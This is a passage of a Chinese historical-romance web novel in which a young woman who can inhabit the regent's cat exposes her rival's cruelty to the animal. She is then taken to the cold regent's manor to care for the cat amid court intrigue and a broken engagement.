一道道恶意的言语,一束束要把人看穿的目光,江月娇慌张地用袖子盖住伤痕,眼里闪着**的泪花。
白昼可不是怜香惜玉的人,“看来,江二小姐就是凶手了。”
说着,用手中剑鞘将人推到谢珩玉
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面前。
也就是赵福宁的面前。
福宁仰着头,难过地看着江月娇,“娇娇,难道真的是你?小福那么可爱,你怎么忍心下手啊!”
装无辜,谁不会。
哼。
福宁心里冷哼,眼神纯粹得很。
江月娇低着头,双眸像是淬了毒,恨不得掐死赵福宁这个罪魁祸首。
“本王在这儿,”谢珩玉突然开口,“你在看谁。”
话语中的寒意直透骨髓。
福宁面色凝重地拍拍旁边的位置,“娇娇,你快跪这里,向王爷狡辩——不,解释清楚,这伤是怎么出现的!”
“呵。”一道冷笑自前方传来。
谢珩玉气笑了,“你也闭嘴。”
福宁立马跪直,“好的。”
江月娇紧绞衣袖,边跪下边道:“臣女在后院碰到一只小猫,起先不知是王爷的爱宠,就想着抱一抱,它可能是怕生,将臣女抓伤后便跑了,臣女也不知道它怎么会落水,请王爷明鉴,此事真的与臣女无关啊!”
寿安伯跟着喊,“王爷,小女定是因为害怕,所以才瞒着没说,她绝不可能是害小福的人啊!”
若非要这么说,倒也不是完全不合理。
福宁垂下眸,如果江月娇没有换掉沾了泥巴的衣裳,她尚能证明江月娇去过湖边,可江月娇换了衣裳。
即使脏衣裳肯定还没来得及处理。
可她要怎么在不暴露自己的情况下,将这信息透露出来呢?
正想着,她听见谢珩玉问——
“你要怎么自证清白?”
“什么……”江月娇愣住。
寿安伯帮腔,“王爷,眼下也没有充足的证据证明小女是凶手,这,这如何自证?”
这对话,有点熟悉。
谢珩玉又道:“一个手上有抓痕,一个救了小福,难道不让前者自证,要让后者自证?”
福宁不自觉地抬头看他,虽然知道他是为了小福,但还是在内心惊讶了一下。
摄政王竟然不草菅人命了。
这一刻,他公正得像个会发光的判官!
第26章 自食恶果
福宁忧伤地掩掩面,“娇娇,所以真的是你害了小福……你刚刚口口声声对我说知错就改,原来只是想我快点认罪,替你挡住王爷的怒火?”
越说越伤心,“娇娇,亏我还当你是我最好的朋友,你怎么可以这么对我?”
“闭嘴!”江月娇本来就心慌不已,听她指责更是焦躁,甩开她,朝着谢珩玉磕头,“王爷,臣女是无辜的!臣女有证据证明!”
寿安伯面上如久旱逢甘霖的饥渴,“真有证据?”
江月娇点点头,情急之下,哪顾得了别的,“臣女有人证。”
人证是谁,福宁最清楚不过。
右边的崔兰亭绷直了身体,也不知是紧张,还是在思考措辞。
“臣女被抓伤的时候,”江月娇顿了顿,不敢看崔兰亭,“与长平侯世子在一起,他能替臣女作证。”
一语毕,寂静许多的围观群众里,响起一声“豁”,发声者又立马噤了声。
宾客们瞠目结舌,今天这趟当真是没白来。
要不说寿安伯府能没落呢,伯府千金私会外男,这外男还是手帕交的未婚夫。
又是谁的声音,“啧啧。”
崔兰亭闭了闭眼,垂着的拳头捏紧了,也不敢去看福宁的表情,想也知道她会很伤心。
福宁确实伤心,但这会儿存在表演成分,一副快要受不住打击的模样,“什么!你,你们怎么能——”
话还没说完,前方某只罪恶的鞋又往面前挥过来了。
!!
福宁又往后退了退,情绪被打断了,反观谢珩玉,他没看自己,仿佛只是坐累了换条二郎腿。
“皎皎,”崔兰亭看向她,认真道,“我与江小姐清清白白,只是碰巧遇到。”
江月娇像是找到了主心骨,附和,“对!只是碰巧遇到!”
寿安伯的脸绿了又红,不管外人能否相信两人清白,今日都是丢光了老脸,但当务之急还是要保住女儿,“王爷,有了崔世子作证,可以证明小女的清白了吧!”
谢珩玉抬手按了按太阳穴,眼神透着藐视,“这也能叫证据?”
他嗤笑一声,极尽轻蔑与嘲讽,“这二人都私会了,说明是一伙的。”
空气好似凝固,一股无形的力量压迫着众人。
作为整个大齐除皇帝以外,地位最高的掌权者,摄政王若说这证据不作数,谁敢说作数?
摄政王说两人不清白,谁敢说他们清白?
白昼在这个时候开口,“王爷,真相已经十分明了了!江二小姐杀害小福未遂,手上的伤便是罪证,事到如今还不愿坦白!”
江月娇面无血色,心知没法扭转,仍是拼命求着情。
谢珩玉像是乏了,直起身离开靠背、放下二郎腿,向前倾身时将手肘支在腿上。
就这一倾身,他与正前方跪着的福宁,距离又近了些。
隔着半臂距离,他的视线顺其自然地落在她的脸上,少女还作一副伤心难过的样子。
谢珩玉的眸中恶意不藏,出口的每一个字都像是刀刃,“你爹的官丢了,只待证据充足,赵家也要没了,你的未婚夫和你的好友背着你暗通款曲。”
“真可怜。”
他话音森冷,听不出半点怜悯之意。
白昼诧异地悄悄瞅一眼王爷的后背,王爷对仇敌向来杀伐决断,面对不喜的女子多说一个字都费劲,就像刚才对江大小姐那样。
像现在这般踩在女子的伤疤上恶意奚落,还是第一次……看来王爷真是讨厌赵小姐到了极点。
福宁抬眸,咬紧了牙关,才能掩藏着心中的气愤。
她相信爹爹没有参与进谋逆中,谢珩玉口中的证据,是充足不了的!
方才照在他身上的那道名为公正的光,在他口出恶言之时,破裂得稀碎。
取而代之的,是属于他的无情,阴暗。
她垂下眸,不说话。
崔兰亭见状,当她是真的听进去了、伤心了,急忙开口,“王爷慎言,微臣与江二小姐绝无逾越。”
这时候,长平侯赶来,穿过人群,高声为儿子洗去污名,“微臣参见王爷,王爷有所不知,犬子与赵氏已解除婚约,与江小姐也是清清白白。”
解除婚约?
这么快?
谢珩玉意味深长地笑了笑,“长平侯府忠义清白,倒是本王说岔了。”
“忠义”两字,咬得极重。
跪着的江月娇此时方知崔兰亭已经退婚,面上闪过喜色。
但很快,她便笑不出来了。
“本王不想再知道你们的爱恨情仇,”谢珩玉无所谓地理了理下摆,站起身,“来人,拖下去,杖八十。”
八十?
江月娇一个冷噤,牙齿打颤,
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这是要置她于死地啊!
寿安伯恳求道:“王爷饶命,小女这身板哪经得住这么打呀!请王爷看在微臣长女的份上,饶了小女吧!”
说着,双手还欲拉扯谢珩玉的下摆。
谢珩玉神色一凛,亲卫当即将寿安伯往后拖。
白昼在旁小声提醒,“王爷,今早皇后娘娘才赐的婚,下午就把江二小姐打残,会不会……”
谢珩玉冷笑,“那便减半,这已是本王看在伯府情面上了。”
四十杖,江月娇也害怕呀!
就为了一只猫,就要这般杖责她,难道她的命还不如一只猫娇贵吗?
她知道这些话不能说出口,这会儿只能声泪俱下地求着情,“求王爷看在长姐的面子上,饶臣女一次,臣女再不敢了!”
谢珩玉低头,看着匍匐磕头的江月娇,面色一瞬间阴郁到了冰点,“果然是你,来人!”
就这样,江月娇算是变相承认了,哭喊也是于事无补,很快被王府的亲卫带下去执行杖刑。
说是带下去,其实也就是在隔壁院子打。
福宁还跪在原地,忽听一声撕心裂肺的惨叫,她肩膀猛地一抖。
而后,一声声喊叫不断,她听着并不好受。
她并没有想要江月娇**,是江月娇自己要上赶着陷害她,是江月娇自己活该……对吧?
福宁一次次说服自己,希望这样,内心就能好受些。
另一方面,她心里也感到害怕。
谢珩玉能为小福杖责伯爵之女,有朝一日,若是发现她能穿进小福身体里的秘密,她亦是给小福带去灾祸的人……她恐怕,也会招来灭顶之灾。
她唇色苍白,像是与被杖刑的人感同身受的模样,落在谢珩玉的眼中,引得他无语至极。
还在装。
装得没完了。
谢珩玉拂袖进屋。
白昼轻咳,“诸位大人、公子、小姐,请散去吧,小福需要一个安静的休养环境。”
说话时,亲卫们的手还放在剑柄上。
态度很明显,先礼后兵,不走的,就不给体面了。
“皎皎,你没事吧?”崔兰亭关切地将福宁搀扶起来,“你脸色很不好。”
福宁回过神,刚想将手抽回来,就被长平侯打断——
“兰亭,既已退婚,就莫要拉拉扯扯,污了姑娘家的清白。”
第27章 赵小姐,摄政王有请
福宁脸上划过无语的笑,仿佛上午欲聘她为妾的,不是崔家似的。
这会儿说什么清白,不过是在谢珩玉的门前,不敢与她扯上关系罢了。
这样明哲保身的崔家,当真是会在深夜上摄政王府求情的崔家吗?
她眼底升起深深的怀疑。
崔兰亭不想松手,“父亲,我先将皎皎送回家。”
隔壁江月娇的喊叫不断,他仿佛闻所未闻。
寿安伯早就过去查看女儿情况,崔兰亭根本没有顾忌,半蹲下身欲替福宁拍掉裙子上沾染的灰尘,“跪疼了吧?”
手还没碰到裙子,福宁不自觉地往后退了一步。
她低着头,看着崔兰亭僵在空中的手,鼻子一酸。
以前,他也会这样。
可是现在,这些亲近的动作再出现,只会让她难过。
她不明白,他怎么还能跟个没事人一样。
他们已经退了婚,这些动作,不是将她当做未来妻子做出的,而是将她当做未来妾室做出的。
这么一想,她心中如滴着血,“别碰我。”
长平侯见不得儿子卑微的模样,再度开口,“我派人送她回去,你跟我走,宴会还没结束。”
崔兰亭缓缓收回手,直起身,脸上勾起勉强的笑容,“皎皎,你相信我,我会护好你的,我先送你回去,别的事,我们以后再商量,好吗?”
他明明给不了任何保证,话语中,也刻意规避了婚约、妻妾的问题,只强调保护。
呵,谁要这样的保护?
福宁看着他,摇了摇头,“崔伯伯说得对,我们已经解除了婚约,就该清清白白的,不用送我,我自己能回去。”
语毕,在崔兰亭温柔又复杂的目光下,她率先转身,想要潇洒地离开,“回家的路我认识,你不要跟来了。”
潇洒不过须臾。
没走几步,就被白昼拦住了。
看了半晌戏的白昼,脸上是和谢珩玉一样冷漠的表情,对她道:“赵小姐,摄政王有请。”
福宁:“……”
她心一紧,摄政王叫她干嘛?
准没好事!
再说这个白昼,站在这儿听他们讲话,现在她要走了,才说?
崔兰亭听闻,两步走上来,挡在她身前,“皎皎没做错任何事,王爷为何寻她?”
白昼面对崔兰亭,语气倒是缓和些,“崔世子不用担心,赵小姐救小福有功,王爷自然要奖赏的。”
崔兰亭:“我陪她一起。”
白昼冷下脸,“王爷只说要见赵小姐,还请长平侯带着世子速速离去吧。”
长平侯生怕得罪摄政王,一手扯上崔兰亭的袖子,在他身边低语一句,似是警告的话,这才将人顺利带走。
隔壁,四十杖不知是在什么时候打完的。
江月娇疼得麻木,被打完就被丫鬟抬回闺房了,丫鬟给上完了药,她趴在榻上如砧板鱼肉无异。
好在不是打在脸上,而是屁股上。
苏姨娘闻讯赶来,见女儿凄惨的模样,当即扑到女儿身边,泪流满面,“我的娇娇啊,怎么会这样,难道真的是因为一只猫,就将娇娇打成了这样吗?老爷,你可要为娇娇做主啊!”
寿安伯站在门外,也心疼,但更多的,是恼怒,“你闭嘴!还敢口出狂言,是怕娇娇受的伤还不够重?!”
苏姨娘当即闭嘴,只发出抽泣的声音。
寿安伯沉着脸,“你问问你的好女儿,都干了什么好事吧!今日若不是搬出雪娥来,恐怕她还得**!一只猫就这么容不下吗?非要扔到湖里去吗?”
江月娇虚弱着,还要解释,“爹,我当时不知道那只猫是,是摄政王的,我与兰亭哥见面,它一直
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在边上叫,我害怕它招人来。”
寿安伯:“你还知道害怕?如今你长姐才刚被赐婚,还没正儿八经坐上摄政王妃的位子,你就迫不及待私会外男了,你让外人怎么想?让王爷怎么想!”
江月娇的耳旁仿佛又响起了宾客们的议论声,那些打量在自己身上的视线,自带烧灼感,火辣辣的更甚挨打的痛感。
她的内心被**与不甘吞噬,指甲扣进软枕中,这一切,都是拜赵福宁所赐!
赵福宁的身份已经不比从前,为何,今日受辱的还是她!
为什么即便赵家落魄,兰亭哥哥还能为赵福宁求情,却不曾为她开口?
呵,迟早,她要让兰亭哥哥的心中只有她一人,她要让赵福宁永远地烂在泥地里,再不能跟她争抢!
门外,寿安伯的声音又传进去,“好在有你姐姐能得摄政王的心,这几日你好好待着养伤,我再出面解释一番,外面便不会有人敢乱嚼舌根。”
*
赵福宁不觉得见摄政王能有什么好事,默不作声地跟着白昼进了屋。
果然,只要有谢珩玉在的地方,气氛就好不了。
房中,谢珩玉坐在塌边,背对着她,除他之外,还有一名大夫。
大夫刚写完药方,抬头见小姑娘局促地站在门边,疑惑中带着惊奇,“小姑娘,就是你救的小猫吧?”
福宁点点头。
得到确切答案,大夫可不会像某些主仆那样阴谋论,只觉得小姑娘善良又聪慧,眼神充满赞赏,“姑娘做的很好,比起我,你才是小猫的救命恩人,姑娘应该看过不少动物医书吧,以你的资质,若是愿意学医——”
“白昼。”一直背对着人的谢珩玉打断了大夫的话。
被夸赞的福宁,脸上不由自主地露出羞赧的笑,白昼忽然就挡到了自己的面前。
第29章 入住王府
伯夫人自以为自己说得很中肯了,奈何还是得了寿安伯一句——
“妇人之见。”
寿安伯眼中亦是精明算计,“崔兰亭是今科探花,未来又能继承侯爵,前途不可限量,他这样的人脑子里不会只有情情爱爱,赵家不会再有转机了,娇娇嫁给他,是最好的选择。”
何况,以娇娇的资质,加上今天发生的事,再想往更高处攀,很难。
寿安伯夫人见说服不了他,只能咬着唇应下。
那厢。
上了马车的长平侯夫妇,对江月娇也并不满意。
“好歹是伯府的千金小姐,竟在大庭广众之下失了体面,”崔夫人吐出一口浊气,“若不是因为摄政王,我还真不愿意兰亭娶她。”
长平侯皱眉,“这些话,你我说说就罢了,婚事还是要看得长远。”
崔兰亭端坐在外侧,垂着眸听着父母说话,他抬手将车窗打开,发现赵家的马车还在,当即想起身,被长平侯一把抓住。
“你去哪儿?”
“父亲,皎皎好像还没回去。”
“那同你有什么关系,坐下!”
崔兰亭神情紧绷,“她方才被摄政王召见,到现在还没出来,我担心……”
长平侯一听,更不能让儿子去了,“你去了又能做什么,往后与她,还是少来往吧。”
崔夫人点点头,“你若是担心摄政王会对赵福宁做什么,那你放一百个心,有江大小姐这个未婚妻,摄政王哪里能看上她。”
虽然赵福宁也有几分姿色,但江雪娥可是京城第一美人!
“不是,”崔兰亭倒不担心这个,“我怕皎皎有危险。”
话音刚落,马车后方就传来列队声。
是摄政王率亲卫出了伯府。
“停车!”崔兰亭对车夫道,而后从车窗朝外看。
只见身穿盔甲的王府亲卫鱼贯而出,摄政王在人群的中央,翻身上了马。
他的身后,少女低着头,怀里抱着一个襁褓,侍卫搬来踩脚凳。
崔兰亭不可置信地看着她上了摄政王的马车,“皎皎……”
震惊的不止有他,还有——
“难不成,她真的一心攀附摄政王?还真让她攀上了?”崔夫人一脸愕然,“那外面传言都是真的了,亏我还以为赵家有多清高,难怪不愿入我侯府为妾!”
语毕,她看向儿子,替他所不值!
正值炎热,崔兰亭的脸颊上却一片冰凉,他不信,“皎皎不是那样的人,定是受摄政王强迫,或许是要她照看那猫。”
崔夫人见儿子心还不死,“王府什么能人没有,需要她去照顾?我看她就是使了手段,从前都没看出,她还有这样的野心,她心思这般不正,谁知道是不是已经失了清白。”
长平侯面上凝重,“长平侯府累世清誉,哪怕纳妾也不能要这样的女人,你最好**这条心!”
“父亲!”
“回府!”
父子俩的声音,一个塞一个的高。
执拗的目光相对,最终,还是崔兰亭败下阵来。
但他并未死心,吩咐手下人去打听赵福宁为何会上摄政王的马车,又是否有危险。
长平侯夫妇相视一眼,虽不赞同,但也没再阻止。
相处那么多年,哪怕养条狗都没法立刻抛弃,更何况是青梅竹马?
凡事过犹不及,只要儿子不得罪摄政王、婚姻大事都听家族安排,那么小事上,不是不能满足他。
*
福宁还不知道自己被议论了,顶着寿安伯夫妇**的视线,她抱着小福进了马车。
车内宽敞得很,一张长长的软榻,两边是硬座和柜子,中间还有茶案与香炉。
她正要往榻上坐,就听白昼冷冰冰告诫道——
“赵小姐,你只是来照顾小福的,别弄脏了王爷的马车。”
什么叫弄脏?
她很脏?
福宁的屁股僵持在半空,在怼回去和怂一下中,她选了后者。
正准备往硬座上坐,可白昼那道锐利的目光一直盯着她,她受不了了,“这也不能坐?”
白昼:“王爷没让你下车走路已是恩典。”
……
福宁气笑了,咬牙切齿地忍下了。
她蹲靠在马车壁上,将襁褓放在软榻上,背对着白昼,翻了翻白眼,用他听不见的声音嘀咕——
“狐假虎威。”
“稀罕。”
车厢的门关上前,福宁隐约听见了寿安伯夫妇松了口气。<
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br>许是他们听见白昼的警告,确定了她在摄政王心里毫无分量,只是来照顾小福的,对他们的女儿地位毫无影响,所以放心了。
黄昏时分的摄政王府,像是镀了一层金光。
作为人的形态,福宁踏进王府,视觉上与做猫的时候很不一样。
白昼对她不太友好,“赵小姐别东张西望了,跟我来。”
谢珩玉早就消失得没影,福宁跟着白昼去了给她安排的住处。
就在谢珩玉的隔壁院。
东无院。
“给你安排在这,是为了方便王爷传召小福,”白昼很怕她多想,“赵小姐最好不要生出不该有的心思,认清自己的身份。”
呵,说得好像是她非要来王府似的!
福宁极力忍着,才不与白昼一般见识。
理理他都费劲,听他讲几句话,她的牙齿都要叫自己给咬歪了!
这院子地处摄政王府较为中心的位置,即便之前无人居住,每日也有人打扫。
庭院内做洒扫的丫鬟,见到白督领带着一姑娘进来,眼中透着惊奇,而那姑娘手里还抱着王爷心尖上的大宝贝,这更是了不得。
“看什么,这位是王爷请来照顾小福的,”白昼直接杜绝府内乱传谣言的可能,“这几天,你就听赵小姐的差遣。”
丫鬟揣紧扫帚,“奴婢小云,见过赵小姐。”
福宁点头,环顾一圈干净敞亮的庭院,又听白昼催促,跟着他走进主卧。
与庭院的敞亮不同,屋内只占个敞字,一点儿都不亮。
宽敞的屋内,陈设很少,显得空旷,一张床榻靠墙摆着,墙面的另一侧是木桌,上面摆了三排蜡烛。
……
这真的是王府该有的卧室吗?
前身该不会是祠堂吧?
福宁一言难尽的视线看向白昼,能找出这么一间房,也难为他了!
白昼忽略了她的视线,说起规矩,“这三日,赵小姐只需要照顾好小福,每日汇报小福的身体状况。”
“没有王爷的允许,你不能王府行走,不可以离开这个院子。”
“有什么需要就跟小云说。”
“王爷随时都可能会想见小福,你需随叫随到,晚上不要睡死。”
第30章 囡囡被王爷抓走了??
“听懂了吗?”
语毕,无人回应。
白昼不耐烦地偏头去看,只见少女坐在床榻上,将脸埋在小福的襁褓里。
……
“听懂了吗?”白昼语调加重。
福宁生无可恋地抬头,“听懂了,我待会儿,会将所需物品告诉小云的。”
快走吧你!
白昼:“赵小姐最好是听懂了,若小福有个三长两短,你的命可不够赔的。”
留下警告,他才离去。
哎!
黑暗静谧的卧房中,福宁望着襁褓中分不清昏迷还是熟睡的小福,发自内心地呢喃——
“你和我,要相依为命了。”
那么多能照顾小猫的人,为什么王爷偏偏挑中了她呢?
这个疑问,在江雪娥的脑海里,久久不曾散去。
饶是父母再怎么确信,摄政王是看不上赵福宁的,江雪娥内心仍是不安。
“摄政王对我的舞姿无动于衷,又将二妹打成那样,转头把赵福宁带回了王府,父亲当真不害怕吗?”
寿安伯觉得女儿太过于患得患失,“你二妹是做错了事,王爷看在你的面子上还少打了,至于赵福宁……不过是仗着懂点照顾畜牲的知识罢了,王府里侍女众多,个个你都要担忧吗?”
江雪娥孤傲地抬了抬头,“我自然不怕她,我只是担心,摄政王并非像传言中那样,非我不可。”
寿安伯夫人宽慰道:“那道赐婚的圣旨就是最好的证明,你尽管放心。”
寿安伯点头,“你若实在不放心,我差人去赵府报个信,赵应那厮若以为他女儿有危险,豁出命去也要到王府把人要回来的。”
寿安伯夫人豁然开朗,“最好让赵家彻底惹怒王爷,这样,老爷的侍郎之职,才能坐得更安稳!”
寿安伯眼中露出精明的笑意,转头便遣人往赵府走了一趟。
“赵老爷,赵小姐被摄政王带走了!离开时,摄政王看着很生气啊!”小厮将话带到。
赵应眼皮一跳,转头看向阿婵。
阿婵上前一步,将赵福宁的话原原本本地交代,“不啊,小姐说只是去王府替摄政王照顾小猫,三天后就回来,没有危险,请老爷夫人不要担心。”
赵应再看向江家派来的小厮。
小厮灵光一闪,“阿婵姑娘是早一步替赵小姐传口信的吧,阿婵姑娘走之后,摄政王突然就黑了脸,也不知道是不是赵小姐惹了王爷不快,那个架势……我家大人怕赵小姐有危险,这才吩咐小的来传话,小的话已带到,先行告退。”
赵应满面愁容,若如小厮所言,摄政王真的要了囡囡的性命可怎么办?
事关女儿的性命,宁可信其有、不可信其无啊!
“不行,我得去把囡囡接回来。”
容婉拦住,“夫君,若摄政王不肯放了囡囡,你当如何?”
“岂有此理!”一想到这种可能,赵应来气,“他对我不满,要杀要剐冲我来,抓一个女儿家是什么本事!我就算豁了命去,也要带囡囡回来!”
容婉秀眉拧紧,“只怕你一冲动,惹怒了他,再治你个大不敬,我们一波未平,可不能再添祸端了!”
“那,不管囡囡了?”
这叫什么话,容婉瞥他一眼,“当然要管,不如夫君再去寻一寻二皇子,若他能看在泽儿的情面上,出面要人,定是比你去王府管用啊。”
赵应思忖片刻,更愁了,“二皇子也是个吞金兽啊,上次我去求他,他话里话外都是嫌不够,咱家底都耗光了!”
容婉松了口气,“若是钱能换囡囡安全,就不是事儿了!”语罢,回房去拿压箱底的嫁妆。
“噔——”
王府的漏刻每到一个时辰,就有专人在前院敲一声锣。
这会儿刚到戌时,庭院里已是漆黑一片。
福宁坐在房内,刚给小福喂了药。
她发现,小福看似孱弱,但呼吸很稳定。
虽然不明白她穿进小福身体里的契机是什么,但有一点可以确定,小福暂时不会因为她而丧命。
不确定的是,等小福治好了溺水之症,是否能恢复它原本的状态,还是说,会一直这样蔫蔫的?
福宁担忧地伸手,轻轻戳戳小福的脸。
在她触碰的一瞬间,小福的耳朵动了动。
小福是有感觉的!
正此时,小云站在门外询问,“赵小姐,您想吃些什么,奴婢去厨房知会一声。”
“咕噜咕噜。”肚子发出信号。
福宁真是饿了好久。
她眸中期盼,又不太自信地试探,“我想吃什么,都可以吗?”
小云愣了愣,难道赵小姐要吃王府里没有的东西
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吗?贡品吗?
下一瞬,又听她问,“两荤一素,行吗?”
小云刚还在想着贡品,闻言松了口气,“当然是可以的,再多一些也行的,或者还有什么需求也尽可以交代给奴婢。”
虽然刚才白督领说了赵小姐只是来照顾小福的,但小云心里仍然觉得赵小姐不是普通人。
小福可是王爷的心尖宠,小福病重至此,王爷怎么可能放心让普通人来照顾?
那定是极其信任赵小姐了,赵小姐必有旁人所不能的。
小云这样想着,兀自点头给予自己肯定,“赵小姐,您是白督领亲自带来的,奴婢一定会伺候好您的!”
福宁被小云的热情感动到,挠挠额头,笑了两下,“那除了饭菜以外,可以再准备两套衣裳吗?”
她这衣裳下午弄湿了,风干后,一直没换。
小云:“当然可以啊!”
福宁觉得光换衣裳还不够,她腿上还有泥呢,“可以洗热水澡吗?”
小云:“奴婢让人搬个新的浴桶来,再烧热水。”
福宁环顾一圈空旷的环境,开始“得寸进尺”,“晚上闷热,可以有冰风木车扇吗,再多给一床被褥,小福也要多一个小被子。”
小云全部应下,转头就跑出了东无院,办事去了。
赵小姐说的这些,都不难办。
除了冰风木车扇,这个向来是主子们用的东西,而且冰块在京城属于稀罕物,摄政王府虽有囤冰窖,但用冰需要经过管家同意。
按照流程,一件件罗列下来,小云还多添了几件,比如沐浴时要用的发油、精油、香皂发皂,花瓣等等。
管家一见是跟小福有关系的,二话不说,痛快地批准了。
在这摄政王府,除了摄政王以外,最大的就是这位小祖宗了,跟小福有关的,全部都按照高标准来办。
是以,不仅管家那边都批了,小厨房还自作主张多添了几个菜。
漆黑的庭院里添了一盏灯,飘着饭香,赵福宁看着桌上的五荤三素,想着周围也没人,狼吞虎咽地吃了起来。
房内浴桶冒着热气,花瓣上还摆着木托,上面摆着粉色桃花状的糕点,和剥好的水果。
这待遇!
她哼着歌,泡着热水澡的时候,谢珩玉刚处理完今日的奏折,问起小福的状况。
第31章 她好香……
“让她把小福带过来。”谢珩玉吩咐。
白昼亲自去隔壁走了一趟,回来时面色难看,“赵小姐在泡澡,王爷……不然等等?”
“等?”谢珩玉本就被奏折烦了两个时辰,还要他等,当即沉下脸来,“你让丫鬟将小福抱过来不行?”
有没有脑子!
他是要见小福,又不是要见那个女人。
白昼恍然,正欲再趟隔壁院,忽然想到什么,又折返回来,“王爷,属下有一事要禀报。”
“说。”
“属下发现,赵小姐挥霍无度,一顿饭八个菜,知道的她是来照顾小福的,不知道的,还以为她是来享福的,王爷您还没歇息呢,她倒是泡上澡了,她这样这能照顾好小福吗?”白昼表示很担心。
谢珩玉越听,脸色越黑。
白昼又补充,“她还让管家准备了冰风扇,这晚上不得冻着小福啊。”
“嘭。”
谢珩玉手掌拍向书案,眸光冷冽,“找死。”
随即,他拂袖而出,直奔隔壁院。
下午不知怎的鬼迷心窍,真以为她能照顾好小福,将她带了回来。
却忘了,她本就是个贪婪的女人!初次见面就想要引起他的注意,她怎么会将小福摆在第一位!
这些想法,在谢珩玉踏进庭院,看见桌上还没收拾的八个菜时,更加确信。
他的怒火更甚。
小云守在门外,见摄政王亲临,且对方脸色不好看,立马跪下,“奴婢参见摄政王!”
谢珩玉不语,望向小云身后的房门。
隔着这扇房门,里面的光将庭院都照得通亮。
“你去,将小福抱出来。”
小云起身,听命照做。
手还没触碰到门板,里面的光亮就彻底透了出来,先是从门缝,然后……
门开了。
好似有一股妖风吹过,让这炎热的夜晚,变得更热了。
露水的清新,花瓣的幽香,混着皂角、发油、热气的味道,或许还有来自人身上的淡淡香气,随着门的开合,它们争先恐后地齐齐飘了出来。
香。
还有点呛。
呛到,口渴。
谢珩玉下意识地皱眉,他不喜欢这个气味。
房中透出的光,也很刺眼,还未看清房中人,他便移开了目光,语气森冷,“赵福宁,谁许你在房中沐浴的!”
福宁闻言,真是委屈,想迈出房门的脚停住了,一手抓着门,很认真地解释:
“我下午在湖里救小福,脚上沾了很多泥,不洗的话不舒服,而且我也不能去别的地方沐浴呀。”
谢珩玉这才正眼看她。
房中的光,真是刺眼。
光亮下,少女穿着粉色的广袖襦裙,披散着头发,发尾处因湿而微卷,因为没来得及擦干,垂在身前的两缕青丝还在冒着水珠,襦裙上多了一块水渍。
那张未施粉黛的小脸透着浅粉,像是被热气蒸的,没抹口脂的唇,比别人抹了口脂的还要好看,那双明眸垂着像是闪躲,像是害怕,又或许是有委屈的。
谢珩玉没见着她的眼,没见着里面的委屈,只是听她的语气,仿佛是他欺负人一般。
他面色未改,冷笑一声,“三天一百两,本王请你来,是来享受的吗。”
福宁不说话了。
她确实吃了人家的,用了人家的。
谢珩玉见她狡辩不出来,“让开。”
他两步踏进屋内,尤其是经过她身旁时,经久不散的香气愈发明显,好似要从各个方向灌入他的身体。
他脚步一顿,忍不住朝浴桶望了一眼,各类涂抹身体的油膏应有尽有,连吃食都有。
“呵。”
听得谢珩玉低笑,福宁真是汗**直立,她两步走到床前,想证明自己没有偷懒,“小福已经喂了药了,也休息得很好,你看。”
说着,戳了戳小福的下巴。
两只毛茸茸的耳朵在襁褓里动了
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动。
不仅如此,它的小嘴动了动,像是做了个美梦,嘴唇翘了起来。
福宁也觉得惊奇,“它笑了!”
谢珩玉古怪地拢起眉,看着小福的小脸,转而又看向少女的笑颜。
此时,管家急匆匆前来禀报,“王爷!二皇子来了!”
屋内的热气,让谢珩玉烦躁,“他来作甚?”顿了顿,“罢了,让他去前厅。”
因为有一位不速之客的到来,谢珩玉暂时先离开了。
福宁见状,松了口气,蹲在床榻前,又戳戳小福的小脸,“你这么配合我呀!”
身后,有一道目光一直在。
她意识到,扭头看去,是小云,“怎么了?”
小云摇摇头,犹豫地问,“赵小姐,您三天一百两啊?”
万万没想到,是这个问题。
福宁点点头。
小云感慨,“您果然不一般!”
没多久,小云又拿了一套寝衣来,但福宁不敢换。
毕竟一睡着,她就会穿到小福的身体里,没在自己家,睡**很不安全,谁知道那个喜怒无常的摄政王会不会半夜要见小福,然后发现她睡**。
这样想想,福宁根本不敢睡觉。
但或许是今天太累,没一会儿,她就躺在小福身边睡着了。
再醒来,分不清是什么时辰。
屋里只留了一根燃着微光的蜡烛。
她伸手,能看见两只毛茸茸的爪子,她爬起身,看着床榻上“熟睡”的自己。
这感觉很微妙,很奇怪。
福宁嗅了嗅,自己果然是香香的。
但是两边的头发还是没干透,这样容易受寒。
冰风车吹来的风,很凉爽,福宁努力地拉扯着被子,从床榻的这头跳到那头,替自己盖被子,再将自己的湿发一缕缕提起来,放在边上。
她支着头,看着自己的睡颜,露出慈爱的笑。
崔兰亭娶不到她,真是崔兰亭的损失呢!
第32章 本王才不会看上她!
距离谢珩玉离开东无院,已有小半个时辰。
前院,叔侄两人于茶厅对坐,手谈了两局,皆被谢珩玉杀的片甲不留。
二皇子眉眼带笑,“皇叔又赢了。”
谢珩玉扯了扯嘴角,没半点愉悦,“你从前可不喜手谈。”
二皇子看了眼窗外天色,“那是因为侄儿赢不了皇叔。”
恭维听多了,谢珩玉没什么反应。
“噔——”王府亥时的锣鼓声响起。
“宵禁了。”谢珩玉淡淡提醒道。
二皇子顺势道:“不如,侄儿今夜借住皇叔这里,与皇叔彻夜谈心。”
谢珩玉食指一闪,扔掉了指腹摩挲许久的玉棋,语气加重,“阿燎。”
谢燎止住笑意,坐直身子,“皇叔,侄儿有个不情之请。”
见对方不与,谢燎恭敬地继续,“请皇叔放了赵家千金。”
谢珩玉眼中意味不明,“放了?本王何时抓了她?”
谢燎:“是,她或许是主动与皇叔来的,但到底只是一个小姑娘,皇叔这里若缺了照顾小福的人,侄儿可为皇叔寻得更好的医女。”
谢珩玉的手指轻轻敲打着椅面扶手,“你收了赵家多少钱?”
谢燎表情一噎,“赵家长子赵凫泽曾是侄儿的伴读,先前兄长谋逆的案子,侄儿不好过多插手,但今日之事是件小事,念在昔日情谊,侄儿不能袖手旁观。”
谢珩玉低头,视线落在必赢的棋局上,“赢了本王,就随你。”
谢燎看着既定的局面,笑着的桃花眼深处没有笑意,捏着棋子的食指紧了紧,隐忍下来,“皇叔不愿放人,难不成是对赵家千金有别的想法?”
“就她?”谢珩玉讥讽道,“这全天下的女人都死绝了,本王也看不上她。”
这话,不止说一次了。
谢燎揶揄道:“侄儿可没说您看上她。”
“……”谢珩玉心中不悦,“天色不早,你该走了。”
谢燎朝庭院望了眼,天色与来时无异,“可是宵禁——”
他还要拿这个借口出来,谢珩玉直截了当起身,“送客。”
谢燎无奈地闭了嘴。
宵禁,是用来管束平头百姓的,这个借口确实不够用。
看来今日,是带不走赵家千金了。
